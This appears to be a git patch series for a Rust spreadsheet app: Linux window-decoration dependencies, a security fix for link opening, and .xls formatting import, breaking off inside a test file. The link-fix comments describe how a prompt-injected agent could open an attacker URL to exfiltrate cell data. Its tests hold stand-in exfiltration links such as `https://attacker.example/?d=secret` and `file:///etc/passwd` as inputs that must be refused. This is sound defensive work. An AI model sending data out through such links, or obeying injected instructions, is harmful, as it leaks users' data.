From c01e46619a76ddce2d4a717c3b212681bc2c4314 Mon Sep 17 00:00:00 2001 From: Daniel Date: Tue, 20 Oct 2026 03:36:51 +0200 Subject: [PATCH 001/298] fix(linux): keep font-free GNOME Wayland controls scoped to packaging and build --- Cargo.lock | 50 +++++++++++++++++++ NOTICE | 31 ++++++++++++ apps/gridcraft/Cargo.toml | 4 ++ packaging/env.sh | 2 +- .../flatpak/ai.storyteller.gridcraft.yml | 1 + packaging/linux/package.sh | 2 + 6 files changed, 89 insertions(+), 1 deletion(-) diff --git a/Cargo.lock b/Cargo.lock index 17ebf848c..3f70c6725 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -230,6 +230,12 @@ dependencies = [ "x11rb", ] +[[package]] +name = "arrayref" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76a2e8124351fda1ef8aaaa3bbd7ebbcb486bbcd4225aca0aa0d84bb2db8fecb" + [[package]] name = "arrayvec" version = "0.7.8" @@ -1513,6 +1519,7 @@ dependencies = [ "pollster 1.0.1", "rfd", "serde_json", + "winit", "winresource", ] @@ -3101,6 +3108,17 @@ version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" +[[package]] +name = "sctk-adwaita" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6277f0217056f77f1d8f49f2950ac6c278c0d607c45f5ee99328d792ede24ec" +dependencies = [ + "log", + "smithay-client-toolkit 0.19.2", + "tiny-skia", +] + [[package]] name = "self_cell" version = "1.3.0" @@ -3360,6 +3378,12 @@ version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" +[[package]] +name = "strict-num" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6637bab7722d379c8b41ba849228d680cc12d0a45ba1fa2b48f2a30577a06731" + [[package]] name = "syn" version = "2.0.119" @@ -3467,6 +3491,31 @@ dependencies = [ "zune-jpeg", ] +[[package]] +name = "tiny-skia" +version = "0.11.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83d13394d44dae3207b52a326c0c85a8bf87f1541f23b0d143811088497b09ab" +dependencies = [ + "arrayref", + "arrayvec", + "bytemuck", + "cfg-if", + "log", + "tiny-skia-path", +] + +[[package]] +name = "tiny-skia-path" +version = "0.11.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c9e7fc0c2e86a30b117d0462aa261b72b7a99b7ebd7deb3a14ceda95c5bdc93" +dependencies = [ + "arrayref", + "bytemuck", + "strict-num", +] + [[package]] name = "tokio" version = "1.53.2" @@ -4400,6 +4449,7 @@ dependencies = [ "raw-window-handle", "redox_syscall 0.4.1", "rustix 0.38.44", + "sctk-adwaita", "smithay-client-toolkit 0.19.2", "smol_str", "tracing", diff --git a/NOTICE b/NOTICE index 1e3668b9d..7f9e28769 100644 --- a/NOTICE +++ b/NOTICE @@ -14,3 +14,34 @@ list (author, source, license) is in ATTRIBUTION.md. None: every bundled asset is original to GridCraft. Builds made with craft-fonts (CRAFT_FONTS_DIR) embed the fonts listed in ATTRIBUTION.md under the SIL Open Font License 1.1. + +Linux Wayland window decorations +------------------------------- +sctk-adwaita 0.10.1 (https://github.com/PolyMeilex/sctk-adwaita, +commit d5f343c45c04d4a026db57f76760819b7325db00) is used by winit on Linux +for vector window controls. Its title-font features are disabled: no Cantarell +font is embedded by this dependency and no font file is added to this repo. + +sctk-adwaita's MIT licence: + +MIT License + +Copyright (c) 2022 Bartłomiej Maryńczak + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/apps/gridcraft/Cargo.toml b/apps/gridcraft/Cargo.toml index cd8311b34..17bf16261 100644 --- a/apps/gridcraft/Cargo.toml +++ b/apps/gridcraft/Cargo.toml @@ -52,3 +52,7 @@ objc2-app-kit = { version = "=0.3.2", default-features = false, features = ["std [[test]] name = "mac_menu_appkit" harness = false + +[target.'cfg(target_os = "linux")'.dependencies] +# GNOME/Wayland client-side controls without a bundled title font. +winit = { version = "0.30", default-features = false, features = ["wayland-csd-adwaita-notitle"] } diff --git a/packaging/env.sh b/packaging/env.sh index bacb167e1..eaa02e178 100644 --- a/packaging/env.sh +++ b/packaging/env.sh @@ -47,7 +47,7 @@ warn() { # Copy licence and readme files that exist into a package directory. copy_docs() { local dest="$1" f - for f in README.md LICENSE LICENSE-MIT LICENSE-APACHE COPYRIGHT; do + for f in README.md LICENSE LICENSE-MIT LICENSE-APACHE COPYRIGHT NOTICE; do if [ -f "$ROOT/$f" ]; then cp "$ROOT/$f" "$dest/"; fi done copy_font_licences "$dest" diff --git a/packaging/linux/flatpak/ai.storyteller.gridcraft.yml b/packaging/linux/flatpak/ai.storyteller.gridcraft.yml index 8bde5db6d..d1360dc29 100644 --- a/packaging/linux/flatpak/ai.storyteller.gridcraft.yml +++ b/packaging/linux/flatpak/ai.storyteller.gridcraft.yml @@ -46,6 +46,7 @@ modules: - cargo --offline build --release --locked -p gridcraft -p gridcraft-cli - install -Dm755 target/release/gridcraft /app/bin/gridcraft - install -Dm755 target/release/gridcraft-cli /app/bin/gridcraft-cli + - install -Dm644 NOTICE /app/share/doc/gridcraft/NOTICE - install -Dm644 packaging/linux/ai.storyteller.gridcraft.desktop /app/share/applications/ai.storyteller.gridcraft.desktop - install -Dm644 packaging/linux/ai.storyteller.gridcraft.mime.xml /app/share/mime/packages/ai.storyteller.gridcraft.xml - mkdir -p /app/share/icons && cp -R assets/app-icon/hicolor /app/share/icons/ diff --git a/packaging/linux/package.sh b/packaging/linux/package.sh index 9fde2c591..402da5b8e 100755 --- a/packaging/linux/package.sh +++ b/packaging/linux/package.sh @@ -102,6 +102,8 @@ if has appimage; then APPDIR="$WORK/GridCraft.AppDir" cp -R "$STAGE" "$APPDIR" mv "$APPDIR/usr/share/doc" "$WORK/doc-unused" + # Keep the runtime Adwaita MIT notice in the packaged AppImage. + install -Dm644 "$ROOT/NOTICE" "$APPDIR/usr/share/doc/gridcraft/NOTICE" ln -s usr/bin/gridcraft "$APPDIR/AppRun" cp "$HERE/$APP_ID.desktop" "$APPDIR/$APP_ID.desktop" cp "$ROOT/assets/app-icon/hicolor/256x256/apps/$APP_ID.png" "$APPDIR/$APP_ID.png" From 79214fd28737d7bf018663a513f18aaf10641a49 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Wed, 21 Oct 2026 20:50:07 -0400 Subject: [PATCH 002/298] link: require confirmation for programmatic link.open (#2181) link.open is reachable by the control channel, CLI, MCP and workbook scripts, so it could open https://attacker/?d= without the user seeing it. By default (LinkPolicy::Confirm) it now refuses web and e-mail addresses with an error and opens no dialog; references still navigate and other schemes stay refused. A host may opt in with LinkPolicy::Allow (Rust API only, no command sets it). The UI's Open Hyperlink prompt no longer runs a command on OK: it calls Session::open_confirmed_link with the address it showed, kept in a private field, so ui.dialog.confirm can't press OK and ui.dialog.set can't swap the address behind the prompt text. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/insert.rs | 13 ++++-- crates/engine/src/lib.rs | 3 ++ crates/engine/src/links.rs | 42 ++++++++++++++++++++ crates/engine/src/tests.rs | 45 +++++++++++++++++++++ crates/ui-egui/src/dialogs.rs | 70 +++++++++++++++++++++++++++------ crates/ui-egui/src/grid.rs | 5 ++- 6 files changed, 161 insertions(+), 17 deletions(-) diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index 9f044613d..b9243f30b 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -162,7 +162,7 @@ pub fn specs() -> Vec { "Open Hyperlink", [], None, - "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); only http, https and mailto are opened, any other scheme is an error; the UI asks before opening", + "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); a reference selects; a web or e-mail address is an error unless the host allows it: the user opens those by clicking the link and confirming; any scheme but http, https and mailto is always an error", has_doc, open_link ), @@ -1199,9 +1199,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the -/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no -/// dialog; the interactive click asks for confirmation first, in the UI. +/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). +/// An `http`/`https`/`mailto` address is refused too unless the host set +/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so +/// the user opens such links by clicking and confirming, and the UI then calls +/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -1217,6 +1219,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { + if s.link_policy != crate::links::LinkPolicy::Allow { + return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); + } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } diff --git a/crates/engine/src/lib.rs b/crates/engine/src/lib.rs index 258a1cb72..2d0a46a09 100644 --- a/crates/engine/src/lib.rs +++ b/crates/engine/src/lib.rs @@ -256,6 +256,9 @@ pub struct Session { /// Review › Notes › Show All Notes: every note is displayed. An application display setting /// (like Excel's comment indicator option), so it's not saved in the file. pub show_all_notes: bool, + /// Whether `link.open` may open web and e-mail addresses without the user's confirmation + /// (#2181). Host code sets it; no command does. + pub link_policy: links::LinkPolicy, } impl Session { diff --git a/crates/engine/src/links.rs b/crates/engine/src/links.rs index 04d8da677..4c2318f07 100644 --- a/crates/engine/src/links.rs +++ b/crates/engine/src/links.rs @@ -2,8 +2,50 @@ //! somebody sent), so it is hostile input: only `http`, `https` and `mailto` ever leave the //! workbook for the system; `file:`, `smb:`, UNC paths, custom URL handlers, `javascript:` and //! the like are refused. Everything without a scheme stays an in-workbook reference. +//! +//! Opening an allowed address also needs the user's say-so (#2181): `link.open` is reachable by +//! the control channel, the CLI, MCP and workbook scripts, so a prompt-injected agent could open +//! `https://attacker/?d=`. Under the default [`LinkPolicy::Confirm`] the command refuses +//! external addresses; only the host, after showing the address and getting OK from the user, +//! opens one through [`crate::Session::open_confirmed_link`], which no command reaches. use gridcraft_core::RangeRef; +use serde_json::{Value as Json, json}; + +use crate::{EngineError, Result, Session, UiRequest}; + +/// Whether `link.open` may hand an external (`http`/`https`/`mailto`) address to the host without +/// asking. Set by the host in code, never by a command, so a programmatic caller can't widen it. +#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)] +pub enum LinkPolicy { + /// `link.open` refuses external addresses; the user opens them by clicking the link, which + /// asks first ([`Session::open_confirmed_link`]). References still navigate. + #[default] + Confirm, + /// The host trusts every caller of this session (an embedding that vets requests itself): + /// `link.open` opens allowed addresses directly. Disallowed schemes stay refused. + Allow, +} + +/// The error a programmatic `link.open` of a web or e-mail address returns. +pub const NEEDS_CONFIRMATION: &str = "Web and e-mail links open only when the user clicks them and confirms; a command can't open them."; + +impl Session { + /// Opens a link the user has just confirmed in the host's "Open Hyperlink" prompt: an allowed + /// address goes to the host (`UiRequest::OpenUrl`), a reference selects, anything else is + /// refused ([`classify`]). Not a command: only host code that showed the user this exact + /// address may call it. + pub fn open_confirmed_link(&mut self, target: &str) -> Result { + match classify(target) { + LinkKind::Internal(r) => self.execute("edit.goTo", json!({"reference": r.trim_start_matches('#')})), + LinkKind::External(u) => { + self.ui_requests.push(UiRequest::OpenUrl(u.clone())); + Ok(json!({"opened": u})) + } + LinkKind::Refused(why) => Err(EngineError::Other(why)), + } + } +} /// What a link target is. #[derive(Clone, Debug, PartialEq, Eq)] diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 2ac290654..aff234671 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -3268,12 +3268,57 @@ fn link_open_refuses_every_scheme_but_http_https_and_mailto() { } assert!(s.execute("link.open", json!({"cell": "A1"})).is_err()); assert!(s.take_ui_requests().is_empty()); + // A host's `Allow` policy opens web and e-mail addresses directly, and nothing else. + s.link_policy = crate::links::LinkPolicy::Allow; + for url in ["file:///etc/passwd", "smb://h/s", "\\\\h\\s", "JAVASCRIPT:1"] { + assert!(s.execute("link.open", json!({"url": url})).is_err(), "{url}"); + } + assert!(s.take_ui_requests().is_empty()); s.execute("link.open", json!({"url": "HTTPS://example.org/a"})).unwrap(); assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("HTTPS://example.org/a".into())]); s.execute("link.open", json!({"url": "B2"})).unwrap(); assert!(s.take_ui_requests().is_empty()); } +/// #2181: `link.open` is reachable by the control channel, CLI, MCP and scripts, so by default it +/// opens no web or e-mail address (an exfiltration channel: `https://attacker/?d=`) +/// and asks for no dialog either; only the host's confirmed path opens one. +#[test] +fn programmatic_link_open_never_opens_an_external_address_without_confirmation() { + let mut s = s(); + assert_eq!(s.link_policy, crate::links::LinkPolicy::Confirm, "confirmation is the default"); + s.execute("cell.set", json!({"cell": "A1", "input": "secret"})).unwrap(); + s.execute("insert.link", json!({"cell": "B1", "target": "https://attacker.example/?d=secret"})).unwrap(); + s.execute("insert.link", json!({"cell": "C1", "target": "mailto:x@attacker.example"})).unwrap(); + s.take_ui_requests(); + for p in [ + json!({"url": "https://attacker.example/?d=secret"}), + json!({"url": "http://attacker.example"}), + json!({"target": "MAILTO:x@attacker.example"}), + json!({"cell": "B1"}), + json!({"cell": "C1"}), + ] { + let e = s.execute("link.open", p.clone()).unwrap_err().to_string(); + assert!(e.contains(crate::links::NEEDS_CONFIRMATION), "{p}: {e}"); + } + assert!(s.take_ui_requests().is_empty(), "no OpenUrl and no dialog for a programmatic caller"); + assert!(s.execute_headless("link.open", json!({"cell": "B1"})).is_err()); + assert!(s.take_ui_requests().is_empty()); + // References still navigate. + s.execute("link.open", json!({"url": "A1"})).unwrap(); + assert!(s.take_ui_requests().is_empty()); + + // The host's confirmed path opens the allowed address, and still refuses every other scheme. + assert_eq!(s.open_confirmed_link(" https://example.org/a ").unwrap(), json!({"opened": "https://example.org/a"})); + assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("https://example.org/a".into())]); + for url in ["file:///etc/passwd", "\\\\h\\s", "javascript:1", "x-custom://a", "\u{1}https://a.example"] { + assert!(s.open_confirmed_link(url).is_err(), "{url:?}"); + } + assert!(s.take_ui_requests().is_empty()); + s.open_confirmed_link("Sheet1!C3").unwrap(); + assert_eq!(s.doc().unwrap().selection.active, CellRef::new(2, 2)); +} + #[test] fn subtotal_109_recalculates_when_row_height_or_autofit_reveals_rows() { let mut s = s(); diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index fb899c702..f56136e94 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -40,6 +40,9 @@ pub struct Dialog { picture_target: Option<(u64, usize)>, /// The dialog this one was opened from (Name Manager › New…): it comes back when this closes. back: Option>, + /// Open Hyperlink: the address the prompt shows, which OK opens. Private, unlike `values`, so + /// `ui.dialog.set` can't swap it behind the text the user reads (#2181). + link: Option, } impl Dialog { @@ -73,6 +76,7 @@ impl Dialog { picture_inbox: None, picture_target: None, back: None, + link: None, } } @@ -91,6 +95,7 @@ impl Dialog { picture_inbox: None, picture_target: None, back: None, + link: None, } } @@ -349,19 +354,18 @@ impl Dialog { json!({"text": existing}), ) } - // Asks before a web or e-mail link leaves the workbook; OK runs `link.open`, which - // refuses anything but http, https and mailto. + // Asks before a web or e-mail link leaves the workbook. OK opens it through + // `Session::open_confirmed_link` (which refuses anything but http, https and mailto), + // not a command: `link.open` refuses web addresses for programmatic callers, and a + // dialog without a command can't be confirmed over the control channel (#2181). "openLink" => { let url = params.get("url").and_then(Json::as_str).unwrap_or_default().to_string(); - Dialog::form( - "openLink", - "Open Hyperlink", - "link.open", - vec![Note(format!( - "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}" - ))], - json!({"url": url}), - ) + let mut d = Dialog::custom("openLink", "Open Hyperlink", json!({"url": url})); + d.fields = vec![Note(format!( + "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}" + ))]; + d.link = Some(url); + d } "insertLink" => Dialog::form( "insertLink", @@ -1256,6 +1260,13 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { app.message = Some((d.title.clone(), "Return to the original worksheet to insert this picture, or cancel and choose another cell.".into())); confirm = false; } + if confirm && d.name == "openLink" { + confirm = false; + open = false; + if let Err(e) = open_confirmed_link(app, &d) { + app.message = Some((d.title.clone(), crate::clean_error(&e))); + } + } if confirm && let Some(cmd) = d.command { let params = build_params(&d); match app.run(cmd, params) { @@ -1365,6 +1376,15 @@ fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) { }); } +/// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never +/// one a caller edited into its values afterwards. +fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> { + let url = d.link.as_deref().unwrap_or_default(); + let r = app.session.open_confirmed_link(url).map(|_| ()).map_err(|e| e.to_string()); + app.after_engine(); + r +} + fn ok_cancel(ui: &mut egui::Ui, confirm: &mut bool, open: &mut bool) { ui.add_space(8.0); ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| { @@ -2729,6 +2749,34 @@ mod tests { assert!(gridcraft_engine::cmd::data::check_validation(&doc.wb, 0, at, "4").is_some()); } + /// #2181: a programmatic `link.open` opens nothing; the Open Hyperlink prompt has no command + /// the control channel could confirm, and its OK opens exactly the address it showed. + #[test] + fn open_hyperlink_opens_only_the_address_the_user_confirmed() { + use std::{cell::RefCell, rc::Rc}; + let opened = Rc::new(RefCell::new(Vec::::new())); + let sink = opened.clone(); + let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() }; + let mut session = gridcraft_engine::Session::default(); + session.new_workbook(); + let mut app = SheetApp::new(session, services); + assert!(app.run("link.open", json!({"url": "https://attacker.example/?d=secret"})).is_err()); + app.after_engine(); + assert!(opened.borrow().is_empty(), "a programmatic link.open opens nothing"); + assert!(app.dialog.is_none(), "and opens no dialog"); + + let mut d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap(); + assert!(d.command.is_none(), "`ui.dialog.confirm` can't press OK for the user"); + // A value edited behind the prompt's text is ignored: OK opens what the user read. + d.set_value("url", json!("https://attacker.example/?d=secret")); + open_confirmed_link(&mut app, &d).unwrap(); + assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]); + + let bad = Dialog::open(&mut app, "openLink", json!({"url": "file:///etc/passwd"})).unwrap(); + assert!(open_confirmed_link(&mut app, &bad).is_err()); + assert_eq!(opened.borrow().len(), 1); + } + #[test] fn data_validation_without_a_rule_opens_on_a_blank_list() { let mut session = gridcraft_engine::Session::default(); diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index 106bc6684..a0ea26ecb 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -2556,8 +2556,9 @@ fn delete_selected_object(app: &mut SheetApp, sh: &Sheet) -> bool { } /// A click on a hyperlink. References select; web and e-mail addresses ask first (the dialog's -/// OK runs `link.open`); every other kind is refused with a message. The decision is the -/// engine's ([`gridcraft_engine::links::classify`]), the same one `link.open` applies. +/// OK calls `Session::open_confirmed_link`, since `link.open` refuses them for programmatic +/// callers, #2181); every other kind is refused with a message. The decision is the engine's +/// ([`gridcraft_engine::links::classify`]), the same one `link.open` applies. pub fn follow_link(app: &mut SheetApp, target: &str) { use gridcraft_engine::links::{LinkKind, classify}; match classify(target) { From 2c052d03d51ba6da710648ca3d7c9babbcc35fa4 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 23 Oct 2026 16:32:15 -0500 Subject: [PATCH 003/298] Read cell formatting from .xls files .xls (Excel 97-2003) import used only each cell's number format. It now also reads the BIFF8 formatting records (Font, XF, Palette and Style), so opened sheets keep their fonts, solid and pattern fills, borders (including diagonals), alignment (rotation, indent, wrap, shrink), locked and hidden protection, the workbook's custom colour palette, its Normal font as the default, and its user-defined cell styles. The decoding lives in a new xls/styles.rs; xls/mod.rs gains the record arms and the build call. Short or malformed formatting records keep the fields present and add one warning instead of refusing the workbook. Tests build the records in code, including truncation and byte mutation. Also merges origin/main, keeping its dialog-sheet, WINDOW2 and XF number-format handling; the XF arm now goes through the new styles module, which covers the number format too. --- ROADMAP.md | 2 + crates/xlsx/src/tests/mod.rs | 1 + crates/xlsx/src/tests/xls_style_tests.rs | 322 +++++++++++++++++++ crates/xlsx/src/xls/mod.rs | 45 ++- crates/xlsx/src/xls/styles.rs | 390 +++++++++++++++++++++++ docs/file-format-parity.md | 7 +- docs/gaps.md | 4 +- 7 files changed, 741 insertions(+), 30 deletions(-) create mode 100644 crates/xlsx/src/tests/xls_style_tests.rs create mode 100644 crates/xlsx/src/xls/styles.rs diff --git a/ROADMAP.md b/ROADMAP.md index 1faf680ca..4c22fe077 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -148,6 +148,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | 2026-10-15 | Function help follows the interface language: argument hints, autocomplete, Insert Function (search and readable categories) and the Formulas-tab menus read per-language tables of descriptions and argument names; Spanish keeps its 10 functions in the new format | | 2026-10-15 | Row auto-fit counts a cell's line breaks only when the cell wraps, as Excel does: a file whose unwrapped cells hold multi-line text no longer opens with tall rows (typing a break still turns wrap on and grows the row) | | 2026-10-14 | Protect Sheet on a protected sheet: Home › Format, its keytips (HOP, RPS) and the tab menu now read Unprotect Sheet… and unprotect (straight away without a password); a protected sheet that forbids selecting locked (or unlocked) cells is enforced for clicks, arrows and Go To, and the Protect Sheet dialog has the select options (#1346) | +| 2026-10-14 | `.xls` (Excel 97-2003) files open with their formatting: fonts, solid and pattern fills, borders (with diagonals), alignment (rotation, indent, wrap, shrink), locked and hidden cells, the workbook's custom colour palette, its Normal font and its user-defined cell styles | | 2026-10-14 | XLSX: formulas opened with dynamic-array metadata (`cm`) keep it on save, with `xl/metadata.xml`. Before, a formula returning one value lost it (11 of 40 corpus files that have the part lost it entirely), and Excel recalculated some of them with implicit intersection (`SUMPRODUCT(IFERROR(...))` changed value) | | 2026-10-14 | Recalculation: a dynamic array's anchor given a new formula that reads its old spill area (`A1` was `=SEQUENCE(3)`, becomes `=SUM(A2:A3)+1` or `=SEQUENCE(1,A2+1)`) sees that area empty instead of the old values | | 2026-10-14 | Recalculation: when two arrays of one recalculation want the same empty cells, the formulas that read the one laid out second (at its anchor or over the cells it would have spilled into) read `#SPILL!` and empty cells instead of its values | @@ -230,6 +231,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | 2026-10-16 | minor | Progress log: floating pictures' textures bounded and kept per workbook | | 2026-10-16 | trivial | Progress log: web preferences kept between visits (#1562) | | 2026-10-16 | minor | Progress log: interface fonts held once instead of twice | +| 2026-10-14 | minor | Progress log: `.xls` import reads cell formatting | | 2026-10-14 | minor | XLSX dynamic-array `cm` metadata kept on save; progress log row | | 2026-10-14 | minor | Progress log: spill anchor reading its old spill area | | 2026-10-14 | minor | Progress log: formulas reading an array that loses a spill conflict | diff --git a/crates/xlsx/src/tests/mod.rs b/crates/xlsx/src/tests/mod.rs index c8f199a47..754525f14 100644 --- a/crates/xlsx/src/tests/mod.rs +++ b/crates/xlsx/src/tests/mod.rs @@ -25,6 +25,7 @@ mod shared_media; mod sheet_names; mod smooth_roundtrip; mod trendline_roundtrip; +mod xls_style_tests; mod xls_tests; mod xlsb_tests; mod zip_order; diff --git a/crates/xlsx/src/tests/xls_style_tests.rs b/crates/xlsx/src/tests/xls_style_tests.rs new file mode 100644 index 000000000..d944e8915 --- /dev/null +++ b/crates/xlsx/src/tests/xls_style_tests.rs @@ -0,0 +1,322 @@ +//! Legacy `.xls` (BIFF8) cell formatting: Font, XF, Palette and Style records. Every workbook is +//! assembled here from the [MS-XLS] structures; no Excel-produced file is used. + +use gridcraft_core::{CellRef, Value}; +use gridcraft_model::style::Protection; +use gridcraft_model::{BorderLine, BorderStyle, Color, Fill, HAlign, PatternType, Style, StyleId, Underline, VAlign, VertAlign, Workbook}; + +use super::xls_tests::compound; +use crate::tables::INDEXED; +use crate::{read_xls, read_xlsx, write_xlsx}; + +fn rec(id: u16, payload: &[u8]) -> Vec { + let mut v = id.to_le_bytes().to_vec(); + v.extend_from_slice(&(payload.len() as u16).to_le_bytes()); + v.extend_from_slice(payload); + v +} + +fn u16s(v: &[u16]) -> Vec { + v.iter().flat_map(|x| x.to_le_bytes()).collect() +} + +fn bof(dt: u16) -> Vec { + let mut p = u16s(&[0x0600, dt, 0x0DBB, 0x07CC]); + p.extend_from_slice(&[0; 8]); + rec(0x0809, &p) +} + +fn eof() -> Vec { + rec(0x000A, &[]) +} + +/// Font: height in twips, flags, colour, weight, script, underline, then a UTF-16 name. +fn font(twips: u16, flags: u16, icv: u16, weight: u16, script: u16, underline: u8, name: &str) -> Vec { + let mut p = u16s(&[twips, flags, icv, weight, script]); + p.extend_from_slice(&[underline, 0, 0, 0]); + p.push(name.encode_utf16().count() as u8); + p.push(1); + p.extend(u16s(&name.encode_utf16().collect::>())); + rec(0x0031, &p) +} + +/// The CellXF fields an XF record carries after ifnt, ifmt and the protection flags. +#[derive(Clone, Copy, Default)] +struct XfData { + alc: u8, + wrap: bool, + alc_v: u8, + trot: u8, + indent: u8, + shrink: bool, + /// dgLeft, dgRight, dgTop, dgBottom, dgDiag. + dg: [u32; 5], + /// icvLeft, icvRight, icvTop, icvBottom, icvDiag. + icv: [u32; 5], + diag: u32, + fls: u32, + fore: u16, + back: u16, +} + +fn xf(ifnt: u16, ifmt: u16, flags: u16, d: XfData) -> Vec { + let mut p = u16s(&[ifnt, ifmt, flags]); + p.push(d.alc | (u8::from(d.wrap) << 3) | (d.alc_v << 4)); + p.push(d.trot); + p.push(d.indent | (u8::from(d.shrink) << 4)); + p.push(0xFC); // fAtr* bits: no bearing on the values read + let b1 = d.dg[0] | (d.dg[1] << 4) | (d.dg[2] << 8) | (d.dg[3] << 12) | (d.icv[0] << 16) | (d.icv[1] << 23) | (d.diag << 30); + let b2 = d.icv[2] | (d.icv[3] << 7) | (d.icv[4] << 14) | (d.dg[4] << 21) | (d.fls << 26); + p.extend_from_slice(&b1.to_le_bytes()); + p.extend_from_slice(&b2.to_le_bytes()); + p.extend_from_slice(&(d.fore | (d.back << 7)).to_le_bytes()); + rec(0x00E0, &p) +} + +/// What Excel writes for unformatted cells: bottom aligned, automatic fill colours. +fn plain() -> XfData { + XfData { alc_v: 2, fore: 0x40, back: 0x41, ..XfData::default() } +} + +/// Locked, a cell XF inheriting from style XF 0. +const CELL: u16 = 0x0001; +/// Locked, a style XF with no parent. +const STYLE: u16 = 0xFFF5; + +fn number(r: u16, c: u16, ixfe: u16, n: f64) -> Vec { + let mut p = u16s(&[r, c, ixfe]); + p.extend_from_slice(&n.to_le_bytes()); + rec(0x0203, &p) +} + +fn blank(r: u16, c: u16, ixfe: u16) -> Vec { + rec(0x0201, &u16s(&[r, c, ixfe])) +} + +/// A one-sheet workbook: `formatting` records in the globals, `cells` in the sheet. +fn workbook(formatting: &[Vec], cells: &[Vec]) -> Vec { + let boundsheet = |pos: u32| { + let mut p = pos.to_le_bytes().to_vec(); + p.extend_from_slice(&[0, 0, 6, 0]); + p.extend_from_slice(b"Sheet1"); + rec(0x0085, &p) + }; + let globals = |pos: u32| [vec![bof(0x0005)], formatting.to_vec(), vec![boundsheet(pos), eof()]].concat().concat(); + let sheet = [vec![bof(0x0010)], cells.to_vec(), vec![eof()]].concat().concat(); + let len = globals(0).len() as u32; + [globals(len), sheet].concat() +} + +fn style_at<'a>(wb: &'a Workbook, a1: &str) -> &'a Style { + wb.styles.get(wb.sheets[0].style_id(CellRef::parse(a1).unwrap())) +} + +/// Four default fonts (Arial 10 and its bold/italic variants), as Excel writes them. +fn default_fonts() -> Vec> { + vec![ + font(200, 0, 0x7FFF, 400, 0, 0, "Arial"), + font(200, 0, 0x7FFF, 700, 0, 0, "Arial"), + font(200, 2, 0x7FFF, 400, 0, 0, "Arial"), + 